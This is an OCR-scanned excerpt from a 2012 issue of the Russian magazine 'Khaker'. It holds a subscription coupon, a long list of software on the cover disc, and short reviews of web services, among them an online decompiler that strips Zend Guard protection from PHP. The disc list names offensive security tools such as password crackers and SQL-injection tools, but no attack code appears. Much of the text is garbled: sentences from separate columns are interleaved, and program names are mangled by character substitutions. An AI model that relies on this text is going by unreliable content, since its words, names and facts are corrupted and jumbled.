1. Распаковать архив . 2. Запустить python .exe setup.py install. 3. Установить PIL Iwww.pythonware .com/ р rod ucts/p iI/i ndex.htm ]. 4. Установить elementtree leffbot.org/ downloads].

УБИВАЕТ, ЧТО ДЛЯ РЕДАКТИРОВАНИЯ

GIT.

НО МЕНЯ

СООБЩЕНИЙ ДЛЯ COMMITOB ДАЖЕ ПОД

WINDOWS

НЕОБХОДИМО ИСПОЛЬЗОВАТЬ

новый элемент«Рейтинг» в структуру и т. д.

40

Последний штрих-это экспорт данных. Можнооформитьизвлеченныеданные

НИКСОВЫЙ VIM. КАК БЫ ВМЕСТО НЕГО

в виде

ИСПОЛЬЗОВАТЬ ЧТО-НИБУДЬ БОЛЕЕ

своего RSS-ридера Iтаким образом, зто

ПРИВЫЧНОЕ?

идеальный способ превратитьлюбой сайт

RSS и

подписаться на них внутри

в RSS-ленту], а можно, скажем, просто экспортировать все в

*

XML и

использовать

сграбленные данные в своих проектах.

Session Renegotiation : Client-initiated Renegotiations: Secure Renegotiation:

Honored Hot Supported

Увы, некоторые сайты банят робота

dapper.

пе! 'и автоматизировать их так просто уже не удается.:Х:

Уязвимый к

DDoS SSL-Аемон

ХАКЕР

02/157/2 01 2


ГОДОВАЯ ЭКОНОМИЯ

Подписка 1.

Разборчиво заполни подписной купон и кви­ танцию, вырезав их из журнала, сделав ксе­

рокопию или распечатав с сайта

2. 3.

shop.glc. ru.

Оплати подписку через любой банк. Вышли в редакцию копию подписных доку­

ментов

-

купона и квитанции

любым из

-

нижеперечисленных способов:

• на e-mail: subscribe0glc.ru; • по факсу: (495] 545-09-06; • почтой по адресу: 115280, Москва, ул. Ленинская Слобода, 19, Омега плаза, 5 эт., офис NQ 21, 000 «Гейм Лэнд», отдел подписки.

500

12 НОМЕРОВ 6 НОМЕРОВ

руб.

2200 РУБ. 1260 РУБ.

УЗНАЙ, КАК САМОСТОЯТЕЛЬНО ПОЛУЧИТЬ ЖУРНАЛ НАМНОГО ДЕШЕВЛЕ! ПРИ ПОДПИСКЕ НА КОМПЛЕКТ ЖУРНАЛОВ ЖЕЛЕЗО + ХАКЕР +

2 DVD : -

ОДИН НОМЕР ВСЕГО ЗА

162

РУБЛЯ

(НА 35% ДЕШЕВЛЕ, ЧЕМ В РОЗНИЦУ] ВНИМАНИЕ! ЕСЛИ ПРОИЗВЕСТИ

МОЖНО ОФОРМИТЬ С НОЯБРЯ.

ЗА 12 МЕСЯЦЕВ 3890 РУБЛЕЙ (24 НОМЕРА) ЗА 6 МЕСЯЦЕВ 2205 РУБЛЕЙ (12 НОМЕРОВ)

ОПЛАТУ В СЕНТЯБРЕ, ТО ПОДПИСКУ

ЕД И НАЯ ЦЕНА ПО ВСЕЙ РОССИИ . ДОСТАВКА

ЕСТЬ ВОПРОСЫ? Пиши на

ЗА С ЧЕТ ИЗДАТЕЛЯ , В ТОМ ЧИСЛЕ КУРЬЕРОМ

нам

ПО МОСКВЕ В ПРЕДЕЛАХ МКАД

други х регионов России, абонентов сетей мтс, БиЛайн и Мегафон) .

inf00g lc.ru или звони по бесплатным телефо­

8[495)663-82-77 [для москвичей) и 8 [800) 200-3-999 [для жителе й

ПОДПИСНОЙ КУПОН ПРОШУ ОФОРМИТЬ ПОДПИСКУ НА ЖУРНАЛ - ХАКЕР .

D D

на на

6 месяцев 12 месяцев

начиная с

D

_ _ _ _ _ _ _ _ 201

Извещение г.

ИНН

7729410015

000

" Гейм Лэнд »

ОДА « Нордеа Банк », г. Москва

Доставлять ~рнал по почте

р/с

N. 40702810509000132297

кJc

N. 301 01 В1 0900000000990

на домашнии адрес

БИК

Доставлять журнал курьером:

D D

044583990

КПП

на адрес офиса *

Плательщик

на домашний адрес**

Адрес (с индексом)

(отметь квадрат выбр а нно го варианта подписки )

Назначение платежа Оплата журнала

Ф . И .О.

Сумма

«._ _ _ _ _ _ _.»

2012 г.

С

Кассир

770401001

Ф. И . О. Подпись плательщика

АДРЕС ДОСТАВКИ: индекс

Квитанция

облаcnJкрай

ИНН

ГОРОд

000

р/с

N. 40702810509000132297

кJc

N. 30101810900000000990

улица дом

корпус

БИК

квартира/ОФис

телedюн

7729410015

" Гейм Лэнд »

ОДА « Нордеа Банк» , г. Москва

044583990

КПП

770401001

Плательщик

(

Адрес (с индексом)

e-mail сумма оплаты

Назначение платежа

* 8 сеободном поле ухажи назва ние фи рм ы

Оплата журнала

и дpyryю необходимую информа цию

«._ _

.. 8 свободно м поле укажи другую н еобходимуlO информ ацию С

и альтернати в н ый ва риант доста вки 8 случ ае отсутств ия дом а

Iсвободное поле

Ф.И.О.

Кассир

Подпись плательщика

Сумма

_

_ _ _ _.» 2012г.


Bluefish 2.2.0 Buildbot 0.8.5 Codelite 3.0.0.5041 Eigen 3.0.4 Erie 5.1.7 Fastutil 6.4.2 Getid31.9.2 Gra10.8 Ideaie 11 Lazarus 0.9.30.2 Libgreneode 3.2.0 Libutille!)' 1.7.0 Llvm 3.0 Odbe~~ 1.6 Pantheios 1.0.1Ь213 Souгcesguare 23122011 Te~df 5.9.141 Т exHokenizer 0.4.5 Ultimate~~ 4193

>Misc

1.24 Reeorder 1.4.0.4

Remote Potato 1.0.6 The E-Mail Client 1.03

Remote Desktop Manager

>Net Comodo Unite 3.0.2.0 Ft~Use 2.0 Image Pieker 1.0.0 Ins1ne 0.9.5 Joukuu Lite 1.3.3.3 Kum051ne 1.1.1 Mikogo 4.0 MultiMi 0.9.29

PhotoLikr 1.2 Screenpresso 1.3.0 5ubIight 3.0.0 Trout 1.0.6 UMPla1er 0.98 Vide05~in 2.0 VirtualDub 1.10.1 YACReader 0.4.0

N e~llex 5сгееn

МооО AudioT1~eConverter

Antenna 1.5.0 Artweaver Free 3.0.1 Avidemux 2.5.5 Cam5tudio 2.0 GгееnFогсе-Рlа1ег 1.11 Jing

>Multimedia

Gizmo Т oolbar 2.5.0 N~~00e5hare 0.1 50da з о PoF Reader Tiles 0.98 Window51ider 0.3 XWidget 1.2.3

gBurner Viгtual Dгive 3.1

Coolbarz 0.1.6.7 oietation Рго 0.91 Exeeutor 0.99.11 FoeusWriter 1.3.5.1

Cli~board 5ауег

7Files 0.3 85tart 3.0 beWebCam 2.1.0.3 Cath1 2.28.3

Auto~s1 3 . 0.0Ь2

Data Recove[1 Professional

Artille!)' 0.2 AI~ha

Auto~s1 З.О.ОЬ2

Bokken 1.5 C5RF5eanner 1.0 ELFkiekers 3.0 Etteгca~ 0.7.4 Fwsnort 1.6.1 Gnutls 3.0.9 Kee~ass 2.17 Mod5eeuri!): 2.6.3-гс1 O~endnssee 1.3.4 Radare2 0.9 5tunnel 4.50

OarktabIe 0.9.3 Dupeguru me 6.2.0 Ffm~eg 0.9 Gnomesubtitles 1.2 Lives 1.4.9 Nightingale 1.8.1 Pdfmasher 0.6.3 Qtraetor 0.5.2 ах11 grab 0.2.6 Razor-gt 0.4 Smillaenlarqer 0.9.0

Ang!)'i~ 3.0Ь6

Cinepaint 1.0

Android WebContentResolver

Bluetile 0.6 Bombonodvd 1.2.0 Calibre 0.8.31

1.0-гс1

>Secuгity

Androguard

>Desktop

BabeI1.3.0 Bitflu 1.39 Clawsmail 3.8.0 oeluge 1.3.3 Emesene 2.11.11 Getmail 4.24.0 Gnunet 0.9.0 Jitsi 1.0Ы Movgrab 1.1.5 Mulk 0.6.0 O~eгa 11.60 Pidgin 2.10.1 Quamaehi 0.6.0 auban 0.2.2 5urrogalier 1.9.1Ь X~lieo 0.7.0

Adeh~~ 2.8.0 Ahe~d 0.53

>Net

Eternallands 1.9.2 Gigalomania 0.21 Pioneer al~ha17

»UNIX

WinArchiver Virtual Orive 2.7

Win7AudioSwitcher

05FMount 1.5.1008 Pateh М1 РС 2.0.6.3 RMPre~U5B 2.1.630 5aBaeku~ 0.9.3.3 Т raek Folder Changes 1.1

iPadian

iCaгe

1.10 074.9.6 oiskAlarm 1.2.4370 ois~la1Fusion 3.4.0 Gow 0.5.0

Cli~boardie

>System AllDff 3.4 Blue5taeks

Х55ег у1.6Ь

Radare2 0.9 RainbowCraek 1.5 5cгa~1 0.14 55L1ze 0.3 The Mole 0.2.6 Т oolwiz Саге 1.0 Wavse~ 1.1.0 WeBaCoo 0.2 WinAPIOverride32 5.5.3

05~11.10.4

IDCTL Fuzzer 1.3 M1sglPasswordAuditor 1.0 Net25harePwn 1.0Ь NTO saL Invader

Identity Finder Immunity Oebugger 1.84

Eeho Mirage 1.2 Etteгca~ 0.7.4 Heimdal

Cain & Abel 4.9.43 Comodo Cleaning Essentials 1.6

>Games

>Seгver

>Dеуе1

>Securit}:

Aetivit1 Monitor 1.05 Artille!)' 0.2

Task Coaeh 1.3.3 Time Out 1.6.3 Уох 0.3 beta 1 XnViewMP 0.39

Soundcloud Downloader 2.0

oeskto~5helves 1.4.2 OiffMerge 3.3.2 du~eGuru МЕ 6.2.0 Eas1Find 4.8.1 Folx 2.0.1028 keka 0.1.4.3 Lion 5ecгets 1.2.0 Mini уМае 3.2.3 Mixxx 1.9.2 5harelt 1.0

ArgoUML 0.34 CoRo 0.5.5

»МАС

Linux Mint 12 Plsense 2.0.1

>X·Distr

XI86-video-ati 6.14.3 Zsh 4.3.14

T~e-Ikm

Rtirg 20111007 5ali 2.4.11

Rpmerizor 2.6

Linux 3.1.6 Nxlog 1.2.494 Pam mount 2.13 Powerto~ 1.8 aemu 1.0

К;;;Q(jJ

,51slem Boehs 2.5 Cemosshe 11.12.06 Oebreate 0.7.7

~3.3 Vsft~d 2.3.5

Ооуеео! 2.0.16 Freeradius 2.1.12 Lightt~d 1.4.30 M1sgI5.5.19 Nsd 3.2.9 O~enlda~ 2.4.28 O~eny~n 2.2.2 Postfix 2.8.7 Postgresgl 9.1.2 Pure-ft~d 1.0.35 5amba 3.6.1 5endmaiI8.14.5 5nог! 2.9.2 5glite 3.7.9 5guid 3.1.18

Ohe~ 4.2.3-~1

~

A~aehe 2.2.21 Asterisk 10.0.0 Bind 9.8.1-~1

Х55ег у1.6Ь

dotPeek 1.0 Ex~eг! Oebugger 3.2 FMOO Ех 4.38.05 JoeBlogs 1.0 MiniFuzz 1.5.5.0 NVIDIA Parallel Nsight 2.1 NVIDIA PerfKit 6.70 Pe5tudio 3.54 auiekPHP 1.14.0 auiekShar~ 2.0 Resouгce .NET 3.0 5aL Prom~t 5.2 XOebug 2.1.2

The Mole 0.2.6

BinScop:e 8ina[Y Anal~zer 0.0.1

Тixati 1.74 WebReader 0.8.80 beta WLAN O~timizer 0.21 Уооnо deskto~ 1.8.16

XssScanner 1.1

>Develop:ment

5weethome3d 3.3 51nfig 0.63.03 Veusz 1.14

»WINDOWS

Adventure Game 5tudio 3.2.1 Bateh Com~iler 1.0


- 11

0'- _ tjeM· , - - _ _ _ _ ....... II _ _ _ ••

-

_'_010:-''Il001_' '_'_ _ __ _ .... _ _ .. _ ...........___ ,_ _ _ ,.-.........._ _,n"I,._ ~--~

... _"'... _""' ..... '''' .... _111')_' __ ••

--

.. ,-'-""' .... ..,'I,~..... а

Аксессуары

~ . '~

._-.....--

а'-- -'-

ДЛЯ

МУ З blка бесплатно

BitLet.org ...........

....i'J (J

z-music.org Пятнадцать треков в день - ровно ст·олько позволяет прослушать без приобрете­ ния премиального аккаунта когда-то бесплатный prostopleer.com . Z-music - зто его полный аналог, который пока находится в с т адии становления и никаких денежек не берет. Поэтому ты можешь без каких-либо ограничений искать музыку, слушать ее онлайн и загружать себе на диск. Источником музыки , как и в случае с

com,

prostopleer.

являются социальные сети, куда пользователи пока без всякого зазрения совести

терабайтами заливают треки.

агрегирует песни, которые находятся в ротации

Z-music

популярных радиостанций, и позволяет удобно прослушивать треки из эфира, скажем , радио

Maximum.

.:1,,'1' bitlet.org

Полноценный торрент-клиент, работающий в браузере. Он используется точно так же , как и любая десктопная программа. Выбери tоггепt-файл на диске или укажи Со ру

t he torrent metafile URL and

р ге"

Download torrent

Код

BitLet

полностью написан на

установлен плагин

'3- 11Ie I" IЩ: "'"-У . s.uon 5· IКur.lJ ·~,Ru]

'"

'"

~ с1.php?I.]1ЗI60)

s

. •

~

URL

файла , задай место для сохранения данных и наблюдай за неторопливой загрузкой.

Java УМ.

Java,

поэтому для его работы в браузере должен быть

Скорость загрузки, однако, очень непредсказуема и ино­

гда оставляет желать лучшего. В этом случае можно попробовать другой достойный

онлайн-клиент для сети ВitТоггепt -

torrific alpha Iwww.torrific.com l. Правда, бес п лат­

ный аккаунт позволяет загрузить всего несколько гигабайт данных.

ВitТоггепt-клиентонлайн

SHOWMYCODE ShOWMyCode8

www.showmycode.com Как декомпилировать СLАSS-файлы , чтобы достать исходный код из Jаvа-бинарника? Как получить оригинальные РНР-файлы, которые были пропущены через криптор

5how

Му

Code Is

а

Free Onllne Decoder I Decompller

Zепd

Guard?

Как вытащить АсtiопSсгiрt-код из флешового swf-файла? С помощью чего

декомпилировать .NЕТ-приложение и иэвлечь его сорцы на С#, Оесode and get 50urce of рпр fdes encoded wrth Zend Guard Тhis PfOCISS alS(l cгlled dezlf'lding and lh, programcalleddezender(de.zander), 50, dezend рЬр liles and gellhe source code!

For Zend Guard encoded php, JAVA CI15', Adobe Aash swf, .NEТ (OoINet) and QR barcodes. 00 you haY8: • РНР IiJe encoded VМh Zend Guard? • Ora Jaoia cla.s?

• or дdobe l ash swn

1

J;>y.

• Or .....n .NEТ appflCation?

Decomptle jWOJ CLASS liles аnd ';мt SOUICI Сodе IП аеха ReconitNCt Ihe Onginal SOUfce code kom thecompiledbinary

Visual

Visual Basic .NET, J#, .NET? На все эти вопросы можно дать один ответ- попробовать онлайн­ ShowMyCode. По сути, это обертка для Java Decompiler, SWF Decompiler, Dis#

С++

сервис

и други х узкоспециализированны х stапd-аlопе-приложений, которые можно было бы использовать в этих случаях . В качестве бонуса

ShowMyCode

предлагает анализатор

QR-KOAOB .

Уни в ерсаЛЬНbI й декомп илятор

INTERVIEW STREET Stce lll wl'bF""'"

Slpl"wltbGoacle

www. iпtег v iеwstгееt . соm

Сборник любопытных задачек для программистов с автоматической системой про­

Work for the best hacker-friendly companies

Dropbox

tЩbtW

~ ADDfPAR ~p

Justln.tv

O mem,ql

facebook ~ WeebIY

Scribd. DISGUS

верки решения. Предложив решение на одном из 11 языков IС++, Python, РНР, Java и т. A.I, можно легко попасть на работу в Силиконовую долину. Дело в том, что Interview Street сотрудничает с крупнейшими IТ-компаниями [например, с Facebook и Amazonl, подгоняя им наиболее талантливых программистов. Это такой бизнес. Interview Street включает всех программистов, решающих задачки, в большую базу и получает $10000 за каждого принятого на работу. Благодаря такому подходу начинающая индийская компания уже неплохо зарабатывает.

Онлайн-олимпиада для программист о в

ХАКЕР

02/157/2012


.,,\

@lill Lang uage ?:::

""

English J




Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.